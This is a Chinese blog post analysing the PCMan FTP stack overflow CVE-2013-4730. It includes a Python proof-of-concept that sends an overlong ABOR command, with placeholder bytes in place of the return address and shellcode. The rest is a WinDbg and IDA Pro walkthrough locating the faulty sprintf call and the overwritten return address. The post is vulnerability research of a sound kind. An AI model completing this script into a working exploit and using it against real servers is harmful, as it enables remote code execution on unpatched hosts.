PCMan FTP栈溢出漏洞(CVE-2013-4730)

CVE-2013-4730是一个基于FTP软件的栈缓冲区溢出漏洞, 允许远程用户构造USER命令超长字符来实现任意代码执行

根据提供的POC代码使用idapro和windbg进行分析,首先查看poc.py代码

import socket as s
from sys import argv
#
if(len(argv) != 4):
    print "USAGE: %s host [user] [password] % argv[0]"
    exit(1)
else:
    #store command line arguments
    script,host,fuser,fpass=argv
    #vars
    junk = '\x41' * 2011 #overwrite function (ABOR) with garbage/junk chars
    espaddress = '\x41\x41\x41\x41' # 76BB0659
    nops = '\x41' * 10
    shellcode = '\x41' *150
    sploit = junk+espaddress+nops+shellcode
    #create socket
    conn = s.socket(s.AF_INET,s.SOCK_STREAM)
    #establish connection to server
    conn.connect((host,21))
    #post ftp user
    conn.send('USER '+fuser+'\r\n')
    #wait for response
    uf = conn.recv(1024)
    #post ftp password
    conn.send('PASS '+fpass+'\r\n')
    #wait for response
    pf = conn.recv(1024)
    #send ftp command with sploit
    conn.send('ABOR '+sploit+'\r\n')
    cf = conn.recv(1024)
    #close connection
    conn.close()

首先开启PCMan FTP,然后执行poc代码

poc.py 127.0.0.1 anonymous anonymous

触发了缓冲区溢出漏洞

使用windbg attach ftp程序,按g运行程序,然后命令行执行poc,可以看到windbg在地址0x41414141中断

Kb查看栈空间内容,已经变为全0x41

Idapro载入ftp程序,imports中找到recv函数,找到两处调用

sub_4029B0+25  sub_4055E0+5E

Windbg重新载入ftp程序,在这两处位置下断点

G运行,然后命令行执行poc,程序中断在第一个断点

程序没有报错,继续g执行,程序崩溃,在第二次执行时断在0x4029d5

重新载入ftp,设置断点在0x4029d5,执行到第二次时,查看esp内容

第二个参数0x12edc4表示缓冲区起始地址

查看缓冲区内容,是输入的user/pass

按下p歩过call函数

查看此时缓冲区内容变为ABOR AAA…AAA

F10单步执行,程序崩溃的前一条指令地址在0x402a26

也就是call sub_403E60这个函数会触发漏洞

此函数中有个一sprintf()

分析此函数,首先或GetLocalTime获取系统时间

以某个时间格式进行sprintf输出,以及其他内容,一共push了10个参数

在0x4029d5处下断点,g运行并启动poc后,第二次断下时

在0x403EE6处下断点,g执行

F10歩过执行call命令后

查看此时栈内容,首先是%d格式的时间信息,然后是复制过来的ABOR AAA..AAA

在返回地址0x403FB9处设置断点

g执行到断点

此时esp-4内容全部为0x41

所以继续执行到地址0x41414141会出错

您可能还喜欢...